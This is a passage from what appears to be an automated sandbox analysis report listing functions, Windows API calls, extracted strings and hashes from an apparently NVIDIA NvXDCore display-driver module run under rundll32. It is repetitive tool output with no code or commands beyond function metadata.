Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressProc$Local$AllocConditionFreeInfoMaskVerifyVersion
String ID: Advapi32.dll$RegCloseKey$RegEnumValueW$RegOpenKeyExW
API String ID: 576420853-1884500446
Opcode ID: f73ff4851a463b3f7fdb30ce46c8df8383579259be15c863f66517dffea24ec0
Instruction ID: 0db856ba6606d7fa26a4907be38cf2360b6f5faceab299f8f78175f92eacbe69
Opcode Fuzzy Hash: f73ff4851a463b3f7fdb30ce46c8df8383579259be15c863f66517dffea24ec0
Instruction Fuzzy Hash: 50515B31A0BB02A2FB918B16A85037966A1FF58BD4F444138DE4D077A4EF7CF825C638

Function 00007FF8A8CFF474 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 302memorystringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8A8CFF749
lstrcmpiW.KERNEL32 ref: 00007FF8A8CFF766
LeaveCriticalSection.KERNEL32 ref: 00007FF8A8CFF7AD
CoTaskMemAlloc.OLE32 ref: 00007FF8A8CFF502

Part of subcall function 00007FF8A8CFE7EC: CoTaskMemRealloc.OLE32 ref: 00007FF8A8CFE84B

CoTaskMemFree.OLE32 ref: 00007FF8A8CFF893

Strings

HKCU{Software{Classes, xrefs: 00007FF8A8CFF5A7, 00007FF8A8CFF5B6
HKCR, xrefs: 00007FF8A8CFF55A
}}, xrefs: 00007FF8A8CFF650, 00007FF8A8CFF65F

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Task$CriticalSection$AllocEnterFreeLeaveRealloclstrcmpi
String ID: }}$HKCR$HKCU{Software{Classes
API String ID: 581389959-1142484189
Opcode ID: ed0ea84bc2394703962b9794f8839fa00afcfd3d746f69359d03b77b6050c4e0
Instruction ID: 0d7dcafeb20bdc0c9ee61b52644c8b4009208f648db788e370b97477d6ec8df4
Opcode Fuzzy Hash: ed0ea84bc2394703962b9794f8839fa00afcfd3d746f69359d03b77b6050c4e0
Instruction Fuzzy Hash: B5C1A922B1BB42A5FBA09B6194006BC23A1EF49BD4F044135CE5E577E4DFB8AC60C728

Function 00007FF8A8D0029C Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 177COMMON

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNEL32 ref: 00007FF8A8D0031C
GetLastError.KERNEL32 ref: 00007FF8A8D00326
GetModuleFileNameW.KERNEL32 ref: 00007FF8A8D003A3
GetModuleHandleW.KERNEL32 ref: 00007FF8A8D0041A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF8A8D00528

Part of subcall function 00007FF8A8CFE9B0: EnterCriticalSection.KERNEL32 ref: 00007FF8A8CFE9E3
Part of subcall function 00007FF8A8CFE9B0: LeaveCriticalSection.KERNEL32 ref: 00007FF8A8CFEA04

Strings

Module, xrefs: 00007FF8A8D004AD
REGISTRY, xrefs: 00007FF8A8D00538
Module_Raw, xrefs: 00007FF8A8D004C9

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: CriticalSection$Module$EnterErrorFileHandleInitializeLastLeaveName_invalid_parameter_noinfo
String ID: Module$Module_Raw$REGISTRY
API String ID: 667740459-549000027
Opcode ID: 6718bed766d3dfc85253c4ec849bde6bfa10f7b56c70e713029dce48e9b8e986
Instruction ID: ddc2405385318114739c9fe0e71b95fc3cd4867507472f08869aca37b20efdc6
Opcode Fuzzy Hash: 6718bed766d3dfc85253c4ec849bde6bfa10f7b56c70e713029dce48e9b8e986
Instruction Fuzzy Hash: CD719E22A1A782B5FB209B65D8406FD2360FF447C4F805036DA5F5BA95EF3CE949C728

Function 00007FF8A8D30DB0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 162synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D2E05C: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E11F

WaitForSingleObject.KERNEL32 ref: 00007FF8A8D30FE9
SetEvent.KERNEL32 ref: 00007FF8A8D30FFA
SetEvent.KERNEL32 ref: 00007FF8A8D31007
SetEvent.KERNEL32 ref: 00007FF8A8D31057

Strings

Releasing lease, xrefs: 00007FF8A8D30F47
NvXDCore.cpp, xrefs: 00007FF8A8D30DFD, 00007FF8A8D30E0C, 00007FF8A8D30EF3, 00007FF8A8D30F02
Received Service Stop request from NvContainer, xrefs: 00007FF8A8D30E51
Nvidia::UXDriver::Core::NvXDCorePlugin::OnStop, xrefs: 00007FF8A8D30E29, 00007FF8A8D30E38, 00007FF8A8D30F1F, 00007FF8A8D30F2E

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Event$Init_thread_footerObjectSingleWait
String ID: NvXDCore.cpp$Nvidia::UXDriver::Core::NvXDCorePlugin::OnStop$Received Service Stop request from NvContainer$Releasing lease
API String ID: 1241757697-2813696767
Opcode ID: 07cdadacfe6124c7e27f98328c3df111e83a9041b0ca63e8cf450c78d187c62d
Instruction ID: 3859b8407d199c6186f5189163ab16f5dbb1e24f07cae5321303a2c69eba7c5b
Opcode Fuzzy Hash: 07cdadacfe6124c7e27f98328c3df111e83a9041b0ca63e8cf450c78d187c62d
Instruction Fuzzy Hash: 03810D32A0AB52E9EB109B61E8401ED7774FB847D4F40013AEA9D13B65EF3CD569C368

Function 00007FF8A8CFD188 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 129libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,?,00000000,00000000,?,00007FF8A8CFB4A1), ref: 00007FF8A8CFD1F1
GetProcAddress.KERNEL32(?,?,00000000,?,00000000,00000000,?,00007FF8A8CFB4A1), ref: 00007FF8A8CFD220

Part of subcall function 00007FF8A8CFAB70: VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFABB0
Part of subcall function 00007FF8A8CFAB70: VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFABDE

SetLastError.KERNEL32(?,?,00000000,?,00000000,00000000,?,00007FF8A8CFB4A1), ref: 00007FF8A8CFD2BB
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,?,00007FF8A8CFB4A1), ref: 00007FF8A8CFD316
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,?,00007FF8A8CFB4A1), ref: 00007FF8A8CFD352

Strings

RegOpenKeyExW, xrefs: 00007FF8A8CFD1E7
RegCloseKey, xrefs: 00007FF8A8CFD216
Advapi32.dll, xrefs: 00007FF8A8CFD1BF

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressFreeLocalProc$ConditionErrorInfoLastMaskVerifyVersion
String ID: Advapi32.dll$RegCloseKey$RegOpenKeyExW
API String ID: 2895588624-618571997
Opcode ID: c274dfffcf539c4011ebde4711aa22a1165f4ce2621b98982a0dc9153418fb4f
Instruction ID: 5f653e1fb69fd750b5a3ac12f4663ab99f4e59b9ce6ce00eaa5a30ef84ca7d76
Opcode Fuzzy Hash: c274dfffcf539c4011ebde4711aa22a1165f4ce2621b98982a0dc9153418fb4f
Instruction Fuzzy Hash: CA515B21A0FB02A1FFA49B16A84027966A1EF55FC0F084435DE4E47795EF7CEC25CB28

Function 00007FF8A8CFE290 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 76libraryloaderregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF8A8CFE2C3
GetProcAddress.KERNEL32 ref: 00007FF8A8CFE2D8
GetModuleHandleW.KERNEL32 ref: 00007FF8A8CFE332
GetProcAddress.KERNEL32 ref: 00007FF8A8CFE347
RegDeleteKeyW.ADVAPI32 ref: 00007FF8A8CFE399

Strings

RegDeleteKeyTransactedW, xrefs: 00007FF8A8CFE2CE
RegDeleteKeyExW, xrefs: 00007FF8A8CFE33D
Advapi32.dll, xrefs: 00007FF8A8CFE2BC, 00007FF8A8CFE32B

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressHandleModuleProc$Delete
String ID: Advapi32.dll$RegDeleteKeyExW$RegDeleteKeyTransactedW
API String ID: 2668475584-1053001802
Opcode ID: 1be05aa186b517d8e315ca0390f6c762f93e95b826797c49909e1833bbc15feb
Instruction ID: 15fa366b32e8ab2d415ea6c4a4856a1e02c8c2eac6da5cc0f244ff2157dbc4bc
Opcode Fuzzy Hash: 1be05aa186b517d8e315ca0390f6c762f93e95b826797c49909e1833bbc15feb
Instruction Fuzzy Hash: 00314C35A0EB42E1FB509B15E44837863A0EF49BC0F484435CA4D0B754EFBCE9548729

Function 00007FF8A8CFC620 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8A8CFC678
GetProcAddress.KERNEL32 ref: 00007FF8A8CFC6A8
GetLastError.KERNEL32 ref: 00007FF8A8CFC6BA

Part of subcall function 00007FF8A8CFAB70: VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFABB0
Part of subcall function 00007FF8A8CFAB70: VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFABDE

Strings

RegOpenKeyExW, xrefs: 00007FF8A8CFC66E
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 00007FF8A8CFC6E5
RegCloseKey, xrefs: 00007FF8A8CFC69E
CurrentBuildNumber, xrefs: 00007FF8A8CFC700
Advapi32.dll, xrefs: 00007FF8A8CFC64A

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressProc$ConditionErrorInfoLastMaskVerifyVersion
String ID: Advapi32.dll$CurrentBuildNumber$RegCloseKey$RegOpenKeyExW$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 3372643087-2525593150
Opcode ID: 4138a556be4e36f1c6ec5994f7970d6f94c359b06625e77941bd0f78e503e05d
Instruction ID: 5a3517ef525ec3d2904f0e670c67f0345f032348163aa3db0f5e6fcf20f63822
Opcode Fuzzy Hash: 4138a556be4e36f1c6ec5994f7970d6f94c359b06625e77941bd0f78e503e05d
Instruction Fuzzy Hash: 83310735A0EB56E2FB409B15F85027863A1FFA8BC4F085039D95D07365EFBCE9258728

Function 00007FF8A8D2E570 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 235COMMON

Download Yara Rule

APIs

WTSGetActiveConsoleSessionId.KERNEL32 ref: 00007FF8A8D2E591
WTSEnumerateSessionsW.WTSAPI32 ref: 00007FF8A8D2E5E9
WTSFreeMemory.WTSAPI32 ref: 00007FF8A8D2E6F5

Strings

NvXDCore.cpp, xrefs: 00007FF8A8D2E5AC
CreateChildProcesses, xrefs: 00007FF8A8D2E5B3
launching sync from child processes, xrefs: 00007FF8A8D2E849
child processes Session id is, xrefs: 00007FF8A8D2E5BA

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: ActiveConsoleEnumerateFreeMemorySessionSessions
String ID: CreateChildProcesses$NvXDCore.cpp$child processes Session id is$launching sync from child processes
API String ID: 1575273685-1535587637
Opcode ID: 87ec771f0fe3288fe32883445848f72c1213374a5a1994cfcb171297897ea939
Instruction ID: 4bd3e8ed45aed42f383c5112440500232c67fa8fde49292873705e6349394f93
Opcode Fuzzy Hash: 87ec771f0fe3288fe32883445848f72c1213374a5a1994cfcb171297897ea939
Instruction Fuzzy Hash: B5B1E732B06B41AAE710DBB1E4401ED33B9FB45798B800536DE5D27B59EF38E119C758

Function 00007FF8A8D30790 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 196COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D2E05C: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E11F

WTSRegisterSessionNotification.WTSAPI32 ref: 00007FF8A8D3097E
SetEvent.KERNEL32 ref: 00007FF8A8D30B4F

Strings

NvXDCore.cpp, xrefs: 00007FF8A8D30811, 00007FF8A8D30820, 00007FF8A8D30A32, 00007FF8A8D30A41
, xrefs: 00007FF8A8D30911
Failed to register for events. Aborting...., xrefs: 00007FF8A8D30A9F
Received OnStart() from NvContainer, xrefs: 00007FF8A8D3087E
Nvidia::UXDriver::Core::NvXDCorePlugin::OnStart, xrefs: 00007FF8A8D3084D, 00007FF8A8D3085C, 00007FF8A8D30A6E, 00007FF8A8D30A7D

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: EventInit_thread_footerNotificationRegisterSession
String ID: $Failed to register for events. Aborting....$NvXDCore.cpp$Nvidia::UXDriver::Core::NvXDCorePlugin::OnStart$Received OnStart() from NvContainer
API String ID: 3215995041-3029981044
Opcode ID: 5afc532b50c0a2432de28eb12ead310b30af275e68d7fd9224e065bd5a3b1fda
Instruction ID: 0f3a0c5b9223ec8316ed16b3d2c41933ea1cc20639cbd97b6f5e758739e0a2ad
Opcode Fuzzy Hash: 5afc532b50c0a2432de28eb12ead310b30af275e68d7fd9224e065bd5a3b1fda
Instruction Fuzzy Hash: 01A12A3290EB82E5EB209B15F4502EAB3A4FB897D0F400235D69D53B65EF3CD558CB68

Function 00007FF8A8CFCF24 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 161libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00007FF8A8CFCFA8
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00007FF8A8CFCFD4

Part of subcall function 00007FF8A8CFAB70: VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFABB0
Part of subcall function 00007FF8A8CFAB70: VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFABDE

LocalAlloc.KERNEL32 ref: 00007FF8A8CFD095
LocalFree.KERNEL32 ref: 00007FF8A8CFD133

Part of subcall function 00007FF8A8CFCCF0: GetProcAddress.KERNEL32 ref: 00007FF8A8CFCD50
Part of subcall function 00007FF8A8CFCCF0: GetProcAddress.KERNEL32 ref: 00007FF8A8CFCD80
Part of subcall function 00007FF8A8CFCCF0: GetProcAddress.KERNEL32 ref: 00007FF8A8CFCDAC
Part of subcall function 00007FF8A8CFCCF0: GetProcAddress.KERNEL32 ref: 00007FF8A8CFCDD8

Strings

Setupapi.dll, xrefs: 00007FF8A8CFCF7D
SetupDiGetDeviceRegistryPropertyW, xrefs: 00007FF8A8CFCF9E
SetupDiDestroyDeviceInfoList, xrefs: 00007FF8A8CFCFCA

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressProc$Local$AllocConditionFreeInfoMaskVerifyVersion
String ID: SetupDiDestroyDeviceInfoList$SetupDiGetDeviceRegistryPropertyW$Setupapi.dll
API String ID: 576420853-448828884
Opcode ID: 75ca3b4daf19c0ae202a036e62fa29883766883f936f302ba286705c7fc52e7c
Instruction ID: 51f2968893ceb38f7e4572a2bf1731faab4c10fe8aca4920c044af2d23ccadd3
Opcode Fuzzy Hash: 75ca3b4daf19c0ae202a036e62fa29883766883f936f302ba286705c7fc52e7c
Instruction Fuzzy Hash: 91617A32B0AB02AAFB50CB21A8506B963A0FF487D8F044435DE0D57B54EF7CE965C728

Function 00007FF8A8D21E88 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_Getcvt.LIBCPMT ref: 00007FF8A8D21ED6
_Getcvt.LIBCPMT ref: 00007FF8A8D21F2E
_Mbrtowc.LIBCPMT ref: 00007FF8A8D21FE7
_Mbrtowc.LIBCPMT ref: 00007FF8A8D22026

Strings

true, xrefs: 00007FF8A8D21F9D
false, xrefs: 00007FF8A8D21F83
,, xrefs: 00007FF8A8D21FF5

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: GetcvtMbrtowc
String ID: ,$false$true
API String ID: 1343364124-760133229
Opcode ID: 0b1bcfc9a2141f98c58bfd7c441482c31248d9d3300556453ba9b0e63a9bf294
Instruction ID: 3f00cca7e07f7b0887b4469fa9949a2b56b89ea252b75ed3b6b53c4192c8d641
Opcode Fuzzy Hash: 0b1bcfc9a2141f98c58bfd7c441482c31248d9d3300556453ba9b0e63a9bf294
Instruction Fuzzy Hash: F0518E22619BC1A1D720DF21E4402AA77B0FB88790F405236EB9E47B69EF3CE599C754

Function 00007FF8A8D03848 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 101COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00007FF8A8D038F2
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D03915
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D03941
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D03965
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D03989

Strings

returned , xrefs: 00007FF8A8D0389F
RegistryException: , xrefs: 00007FF8A8D0388E

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
